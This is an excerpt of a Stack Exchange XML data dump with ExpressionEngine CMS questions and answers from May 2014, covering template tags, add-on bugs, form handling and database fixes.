  <row Id="21807" PostTypeId="1" AcceptedAnswerId="21810" CreationDate="2014-05-09T02:42:28.360" Score="1" ViewCount="373" Body="&lt;p&gt;I would like to be able to have members create codes, these codes are made of text based on drop down and should contain a numerical value that must be unique (with Channel Forms Grid (safecracker)) and increment by one with each new entry. Does any one know of a way to do this, the initial entry needs be to be dynamically generated and written to the DB entry field as static entry on save. &#xA;Many thanks for any advise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dan&lt;/p&gt;&#xA;" OwnerUserId="2929" LastActivityDate="2014-05-09T22:50:13.430" Title="Auto insert a numerical value that increases by 1 to channel form field" Tags="|channel|forms|2.8|ee|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21808" PostTypeId="1" CreationDate="2014-05-09T02:53:56.020" Score="0" ViewCount="82" Body="&lt;p&gt;Is it possible using objectivehtml's google map for expression engine, to look at a particular address (point) then using a radius search pull from google businesses, potentially allowing for refining the search by hospitals, parks, stores, etc - and create a list?&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-05-10T10:09:47.257" Title="Gmap for ee - create list of nearby businesses from google maps" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21810" PostTypeId="2" ParentId="21807" CreationDate="2014-05-09T06:34:18.567" Score="1" Body="&lt;p&gt;You could write an extension calling the &lt;code&gt;ee()-&amp;gt;extensions-&amp;gt;call('channel_form_submit_entry_start', $this);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html#channel-form-submit-entry-start&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel_form/index.html#channel-form-submit-entry-start&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your extension you then do the unique (auto increment) value by using the DB class to check for uniqueness. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code for the auto increment would be something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&#xA;$auto_increment = 1;&#xA;$query = ee()-&gt;DB-&gt;query('SELECT field_id_x FROM exp_channel_data' WHERE field_id_x = $auto_increment LIMIT 1);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if($query-&gt;num_rows() != 0 )&#xA;{&#xA; $auto_increment =  $query-&gt;row()-&gt;field_id_x + 1;&#xA;}&#xA;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do more of the logic in MYSQL like so: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;`$query = ee()-&gt;DB-&gt;query('SELECT (COUNT(*)+1) AS auto_increment FROM exp_channel_data WHERE channel_id = &quot;y&quot; GROUP BY channel_id');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$auto_increment = $query-&gt;row()-&gt;auto_increment;&#xA;`&lt;/p&gt;&#xA;" OwnerUserId="410" LastActivityDate="2014-05-09T06:34:18.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21811" PostTypeId="2" ParentId="1383" CreationDate="2014-05-09T08:47:57.890" Score="1" Body="&lt;p&gt;Any solution for EE 2.8 out there?&#xA;The suprisehighway hack is causing errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method EE_Javascript::generate_json() in /Applications/MAMP/htdocs/laatmaarzien/e2services/expressionengine/third_party/mailchimp_subscribe/ext.mailchimp_subscribe.php on line 274&lt;/p&gt;&#xA;" OwnerUserId="2986" LastActivityDate="2014-05-09T08:47:57.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21814" PostTypeId="1" CreationDate="2014-05-09T10:14:48.680" Score="1" ViewCount="85" Body="&lt;p&gt;Just bought Cartthrob. But i'm having a struggle for the following.&#xA;Cartthrob automatically generates a price including vat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example when I add a product with price € 10,- it will create a price € 12,10 because of my 21% vat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my customer wants to add product prices including Vat.&#xA;So he wants to add a product and give it the price € 10,- incl. vat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or else he needs te calculate all his prices to excl. vat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change this way of calculating prices? So inputted prices is price incl. vat?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wessel&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-10T09:36:16.503" Title="Cartthrob Product price including vat" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21815" PostTypeId="1" CreationDate="2014-05-09T10:23:11.217" Score="0" ViewCount="123" Body="&lt;p&gt;I would like to use freeform to make an enquiry form that lists several products each with a quantity input field. On submit these would combined in to a single textarea field, each on a separate line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that is possible within freeform?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-05-09T18:36:15.107" Title="Combining multiple inputs in to single textarea" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21816" PostTypeId="1" CreationDate="2014-05-09T12:15:45.913" Score="0" ViewCount="99" Body="&lt;p&gt;I have a site where a few people are reporting that all they get is a blank page when they visit it. This started happening after we put some country detection code on there that showed tweaked content depending on the country that you were viewing from. We're using the IP to Nation module in EE to handle this and have kept the database up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering whether it is possible that the blank pages could be a result of their IP address not being found in the database? Could this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the MC Country plugin in conjunction with the IP to Nation module (MC Country requires this). Here's a snippet of code that I'm using on all pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:mc_country default='gb'}&quot; ==&quot;gb&quot;}Call us &amp;lt;i&amp;gt;free&amp;lt;/i&amp;gt; on +44 (0)800 014 8201 from 8am to 8pm{/if}&#xA;{if &quot;{exp:mc_country default='gb'}&quot; !=&quot;gb&quot;}Call our offices in Portugal on (+351) 308 800 878{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any insight greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="308" LastEditDate="2014-05-12T09:34:32.427" LastActivityDate="2014-07-12T13:42:27.623" Title="What happens when an IP address isn't found in the IP to Nation database?" Tags="|ip|iptonation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21818" PostTypeId="2" ParentId="21103" CreationDate="2014-05-09T13:41:23.460" Score="2" Body="&lt;p&gt;If your trying to pass a simple value to your layout, you can set it on the layout tag. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;pages/.layout&quot; body_class=&quot;contact&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But custom fields variables need to be parsed by the &lt;code&gt;channel:entries&lt;/code&gt; variable pair. This is the reason for the tag &lt;code&gt;layout:set&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries [...]}&#xA;    {layout:set name=&quot;desc&quot;}{timeline_item_description}{/layout:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By this way, its value is passed to the layout template.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-09T13:41:23.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21819" PostTypeId="2" ParentId="20543" CreationDate="2014-05-09T13:56:28.900" Score="1" Body="&lt;p&gt;P&amp;amp;T field pack has been superseded by fieldpack &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/field-pack&lt;/a&gt;. &#xA;P&amp;amp;T field pack wont be supported by 2.8.1 but the upgrade to field pack is really simple do.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-05-09T13:56:28.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21820" PostTypeId="2" ParentId="21815" CreationDate="2014-05-09T14:18:19.960" Score="2" Body="&lt;p&gt;Here are a couple options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it really needs to be &lt;em&gt;stored&lt;/em&gt; as one field, then you can use jQuery to concatenate and format all the separate inputs. Then set that as the value on single hidden input field named after the Freeform field you want to use to store the data. You would do this on form submit. Easy to do with a little jQuery knowledge (but out of the scope of this site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't matter that it's &lt;em&gt;stored&lt;/em&gt; as a single field (ie, the only time the data needs to be viewed as a single block of text is in an email notification or template) then you could just pull all the separate variables together using Freeform tags.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-05-09T18:36:15.107" LastActivityDate="2014-05-09T18:36:15.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21821" PostTypeId="1" CreationDate="2014-05-09T14:24:53.133" Score="1" ViewCount="16" Body="&lt;p&gt;I am editing a webpage that is using EE. I am trying to make the table of contents smaller, is there a way for me to combine existing pages so that my table of contents will contain sub-categories? Using version 2.3.1&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="3090" LastEditDate="2014-05-09T14:39:20.907" LastActivityDate="2014-05-09T14:39:20.907" Title="combining existing pages?" Tags="|pages|html|ee|http|options|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21822" PostTypeId="2" ParentId="21807" CreationDate="2014-05-09T14:36:35.993" Score="0" Body="&lt;p&gt;If you create entrys with the same title name, &#xA;the url_title field will contain the title name + a numerical value (auto increment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dont know if you can use it to your advantage.&lt;/p&gt;&#xA;" OwnerUserId="1980" LastActivityDate="2014-05-09T14:36:35.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21823" PostTypeId="1" CreationDate="2014-05-09T14:43:10.253" Score="4" ViewCount="967" Body="&lt;p&gt;I have a very strange issue. When using the first EE channel:entries code my no_results tag works, but when using the exact same channel:entries tag together with the category=&quot;&quot; parameter the no_results tag doesn't work. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {last_segment_category_id} variable being empty, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;no&quot; disable=&quot;pagination|member_data&quot;}&#xA;{if no_results}&#xA;&amp;lt;i&amp;gt;No results...&amp;lt;/i&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; category=&quot;{last_segment_category_id}&quot; dynamic=&quot;no&quot; disable=&quot;pagination|member_data&quot;}&#xA;{if no_results}&#xA;&amp;lt;i&amp;gt;No results...&amp;lt;/i&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastActivityDate="2015-09-16T13:52:18.590" Title="{no_results} doesn't work if channel:entries uses category=&quot;&quot; as parameter" Tags="|channel-entries|categories|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21824" PostTypeId="2" ParentId="13088" CreationDate="2014-05-09T15:02:24.260" Score="1" Body="&lt;p&gt;This is exactly what you want &lt;a href=&quot;http://devot-ee.com/add-ons/category-url&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/category-url&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2014-05-09T15:02:24.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21825" PostTypeId="1" CreationDate="2014-05-09T16:01:04.263" Score="1" ViewCount="53" Body="&lt;p&gt;I just performed an update to Freeform Pro going from version 4.1.3 to 4.1.7. After the update all pages where I've embedded a form I'm getting the following PHP Error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Undefined property: stdClass::$csrf_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rolling back to the previous version fixes the issue. Is there something I need to change in how I add composer templates? Below is an example of one I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer&#xA;    form_name=&quot;contact_us&quot;&#xA;    composer_template_name=&quot;default_calvary_forms&quot;&#xA;    return=&quot;new/contact_us?return=success&quot;&#xA;    inline_error_return=&quot;new/contact_us&quot;&#xA;    inline_errors=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running this on EE version 2.7.3.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2014-05-09T16:01:04.263" Title="Updating Freeform Pro to 4.1.7 gives undefined property error" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21826" PostTypeId="1" AcceptedAnswerId="21827" CreationDate="2014-05-09T19:03:49.033" Score="0" ViewCount="56" Body="&lt;p&gt;I have created two columns form using Freeform composer, but it looks like each field is counted as a new row. At that case responsive layout is &quot;breaking&quot; form flow on mobile devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do have predefined columns first then rows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-05-09T19:27:53.303" Title="Freeform and responsive layout" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21827" PostTypeId="2" ParentId="21826" CreationDate="2014-05-09T19:27:53.303" Score="1" Body="&lt;p&gt;Well, I think that composer has issue withing new FireFox. Have used Chrome and drag-n-drop can drag without creating new rows per each field.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-05-09T19:27:53.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21829" PostTypeId="1" AcceptedAnswerId="21839" CreationDate="2014-05-09T21:00:06.143" Score="0" ViewCount="130" Body="&lt;p&gt;I'm using low:events:entries. I have a page that shows the next upcoming featured event as a picture, then underneath it a list of events, both featured and non-featured. My next upcoming featured event is showing up both in the picture and in the list, and I'd like it to not show up in the list since that looks like a duplicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's under &quot;Upcoming Events&quot; at &lt;a href=&quot;http://www.fcs.uga.edu&quot; rel=&quot;nofollow&quot;&gt;www.fcs.uga.edu&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the entry_id=&quot;not {lv_exclude_id}&quot; parameter when making the list, defining lv_exclude_id, an early-parsed Low Variable, as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries channel=&quot;events&quot; show_passed=&quot;no&quot; search:events_front_page_feature=&quot;Yes&quot; limit=&quot;1&quot;}&#xA;{entry_id}&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The same tag that brings up my one featured event.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's not working. Maybe seeding one low:events:entries with another isn't the way to do this. Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-05-10T09:24:05.203" Title="low:events excluding an entry" Tags="|low-variables|parse-order|low|events|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21830" PostTypeId="1" AcceptedAnswerId="21860" CreationDate="2014-05-09T21:44:15.417" Score="0" ViewCount="64" Body="&lt;p&gt;I'm doing a major update on a site -- EE v2.1.3 to v2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Matrix field that's using the safecracker cell type and I'm wondering what's the best to handle this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pre-update the channel form field didn't exist and post update I'm not able to access the field to update it without error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I edit the database directly and update the col_type from 'safecracker_file' to 'file'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that if I do this then I can go in through the EE control panel and update the field details, but I'm not sure if there are other ramifications that I'm unaware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any feedback or insights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jules&lt;/p&gt;&#xA;" OwnerUserId="528" LastActivityDate="2014-05-12T07:30:34.863" Title="Updating Matrix Safecracker Cell type to File Cell Type" Tags="|matrix|channel-form|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21831" PostTypeId="1" AcceptedAnswerId="21840" CreationDate="2014-05-09T22:07:33.387" Score="0" ViewCount="139" Body="&lt;p&gt;Each discography entry has a playa field for each disc that contains all the songs that appear on that record, creating a tracklisting. What I'd like to do is create a reverse navigation system, so that people can browse songs and see all releases they appeared on (albums, singles, collections, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was straightforward to get Low Alphabet to ouput a page containing all songs starting with a letter, now I'd like to have all parent releases listed under them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine it's something where I'd need to write some custom PHP or use an embed or stash based on research I've been doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant template code below - it just outputs a long list of entries (even for X, which has one song that is included on two discography items). Removing &lt;code&gt;channel=&quot;discography&quot;&lt;/code&gt; doesn't make any impact.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_alphabet:entries&#xA;        channel=&quot;songs&quot;&#xA;        alpha_ignore=&quot;the&quot;&#xA;        numbers=&quot;before&quot;&#xA;        group_numbers=&quot;yes&quot;&#xA;        numbers_label=&quot;#&quot;&#xA;        alpha_filter=&quot;{segment_3}&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;        disable=&quot;categories|member_data|pagination&quot;&#xA;        limit=&quot;250&quot;&#xA;}&#xA;     {if low_alphabet_heading}&#xA;         &amp;lt;h2&amp;gt;Songs that start with {low_alphabet_label}&amp;lt;/h2&amp;gt;&#xA;         &amp;lt;ul&amp;gt;&#xA;     {/if}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path=&quot;songs&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {if no_parents}{/if}&#xA;                &amp;lt;ul class=&quot;list-nav&quot;&amp;gt;&#xA;                {exp:playa:parents channel=&quot;discography&quot;}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path={channel_short_name}/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:playa:parents}&#xA;                &amp;lt;/ul&amp;gt;&#xA;        {if low_alphabet_footer}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;{/exp:low_alphabet:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following works as expected&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;lyrics&quot; limit=&quot;50&quot;}&#xA;&#xA;         &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path=&quot;songs&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;ul class=&quot;list-nav&quot;&amp;gt;&#xA;                    {exp:playa:parents}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path={channel_short_name}/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/exp:playa:parents}&#xA;                &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-05-14T00:15:39.633" LastActivityDate="2014-05-14T07:42:15.383" Title="Show playa parents of child items listed via {exp:low_alphabet:entries} (not a single entry page)" Tags="|playa|pixelandtonic|loop|parent|low-alphabet|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21832" PostTypeId="2" ParentId="21814" CreationDate="2014-05-09T22:21:48.593" Score="1" Body="&lt;p&gt;There are 2 options here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter all prices incl. VAT then use the &lt;a href=&quot;https://cartthrob.com/docs/tags_detail/add_to_cart_form/#tax_exempt&quot; rel=&quot;nofollow&quot;&gt;https://cartthrob.com/docs/tags_detail/add_to_cart_form/#tax_exempt&lt;/a&gt; tag so VAT doesn't get added to the base price. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine but assumes items are exempt from VAT and therefore doesn't account for it in reports or order details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add prices ex VAT, but use the &lt;a href=&quot;http://cartthrob.com/docs/fieldtypes/price_simple/#price_plus_tax&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/fieldtypes/price_simple/#price_plus_tax&lt;/a&gt; tag to add your tax rate to the base price to display this on your product page.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="1287" LastEditDate="2014-05-10T09:36:16.503" LastActivityDate="2014-05-10T09:36:16.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21833" PostTypeId="2" ParentId="21807" CreationDate="2014-05-09T22:50:13.430" Score="1" Body="&lt;p&gt;Reatile's answer is good for what you outlined in your question, but one possible consideration and possibly easier to implement is to make use of the {entry_id}.  This automatically is a unique numerical value which increases by 1 every time a new entry is created.  You could also prepend some other identifier like 'sku{entry_id}', which would then render output to 'sku598'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible issue is if you need the number to be strictly sequential within it's own channel/category.  Using the entry_id will mean there will be gaps between numbers if there is an entry created outside of that particular use.  However, this may or may not matter depending on your particular needs.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-05-09T22:50:13.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21834" PostTypeId="1" AcceptedAnswerId="21838" CreationDate="2014-05-09T22:53:11.257" Score="0" ViewCount="185" Body="&lt;p&gt;EE 2.6.1,&#xA;Matrix 2.5.10,&#xA;Structure 3.3.13,&#xA;Wygwam 3.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix field data outputs on the frontend, but matrix rows disappear when editing a specific entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The matrix data still appears on the front-end even after clearing all caches but when editing the entry it appears the Matrix rows and data are gone but it still exists in the exp_matrix_data table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found that our matrix field_id_x with the missing rows contained the value &lt;code&gt;YTowOnt9&lt;/code&gt; which base64 decodes to &lt;code&gt;a:0:{}&lt;/code&gt;. Any ideas if an older version of Matrix once stored a serialized array? If we delete the string &lt;code&gt;YTowOnt9&lt;/code&gt; the matrix rows for that field reappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each row there are a total of 7 columns. In each row there are 2 file upload fields, and 5 text fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we save an entry now with Matrix 2.5.10 and the value &lt;code&gt;YTowOnt9&lt;/code&gt; exists in field_id_x, the matrix data is removed from the exp_matrix_data table. If the channel_data field_id_x column is blank or has a value of 1 that matrix data is retained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was wondering if anyone had any idea on where &lt;code&gt;YTowOnt9&lt;/code&gt; was coming from? A previous version of Matrix? Another add-on that is modifying the value of field_id data?&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2014-05-10T04:07:38.223" LastActivityDate="2014-05-10T04:07:38.223" Title="exp_channel_data matrix field contains YTowOnt9" Tags="|matrix|pixelandtonic|datagrab|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21835" PostTypeId="1" AcceptedAnswerId="21836" CreationDate="2014-05-10T00:37:11.017" Score="1" ViewCount="38" Body="&lt;p&gt;I ran the update locally and it acted as expected. On the dev server, it goes right from the &quot;begin&quot; button to the &quot;finished&quot; screen. The DB definitely isn't getting touched, as i'm getting &quot;field not found&quot; db errors when i try to login afterward. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried disabling extensions with no change. Anything else you can think of that might cause this? Anyone seen this?&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2014-05-10T02:10:01.293" Title="EE 253 &gt; 273 upgrade not &quot;progressing&quot; - just skips to &quot;finished&quot; screen" Tags="|upgrade|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21836" PostTypeId="2" ParentId="21835" CreationDate="2014-05-10T02:04:05.407" Score="1" Body="&lt;p&gt;Did you deploy the files from your local machine to dev environment? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran across a similar issue a few weeks ago as a result of deploying the upgrade files to my dev environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case the config.php had the &lt;code&gt;$config['app_version'] = &quot;&quot;;&lt;/code&gt; updated to &lt;code&gt;273&quot;&lt;/code&gt; instead of the needed &lt;code&gt;&quot;253&quot;&lt;/code&gt; for the EE upgrade script to run properly.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-05-10T02:10:01.293" LastActivityDate="2014-05-10T02:10:01.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21838" PostTypeId="2" ParentId="21834" CreationDate="2014-05-10T03:20:18.757" Score="2" Body="&lt;p&gt;Issue was with DataGrab 1.8.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a matrix field has a value and DataGrab has the field option &quot;Action to take when an entry is updated&quot; is set to, &quot;Delete all existing rows&quot; &lt;strong&gt;even though there are no selected columns to import from&lt;/strong&gt;. DataGrab will populate that field with 'YTowOnt9' which is base64 that decodes to a:0:{} breaking the connection with the Matrix table data for that entry. The client was re-editing these entries and the matrix data was being erased because of the broken relationship between exp_channel_data and exp_matrix_data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Older versions of the Matrix fieldtype I believe stored it's data serialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was fixed by running a query on all matrix field types which had the value YTowOnt9 and clearing it. Matrix will find all the existing data by itself if done in the correct order.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change DataGrab settings&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Changed DataGrab setting for Matrix fieldtypes:&#xA;&quot;Action to take when an entry is updated&quot; to &quot;Keep existing rows and append new&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run SQL fix on all field_ids affected&lt;/li&gt;&#xA;&lt;li&gt;Run DataGrab import again&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2014-05-10T03:58:58.937" LastActivityDate="2014-05-10T03:58:58.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21839" PostTypeId="2" ParentId="21829" CreationDate="2014-05-10T09:24:05.203" Score="2" Body="&lt;p&gt;Using an early parsed var (or a Snippet for that matter) like that doesn't work. To illustrate, using the var you geva as an example, and using it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries entry_id=&quot;not {lv_exclude_id}&quot;}&#xA;    ...&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...will result in this code when we come to the stage where tags are parsed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries entry_id=&quot;not {exp:low_events:entries channel=&quot;events&quot; show_passed=&quot;no&quot; search:events_front_page_feature=&quot;Yes&quot; limit=&quot;1&quot;}&#xA;        {entry_id}&#xA;    {/exp:low_events:entries}&quot;}&#xA;    ...&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see why this will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to work around it, you'd need to use either an embed, or something like Stash.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-05-10T09:24:05.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
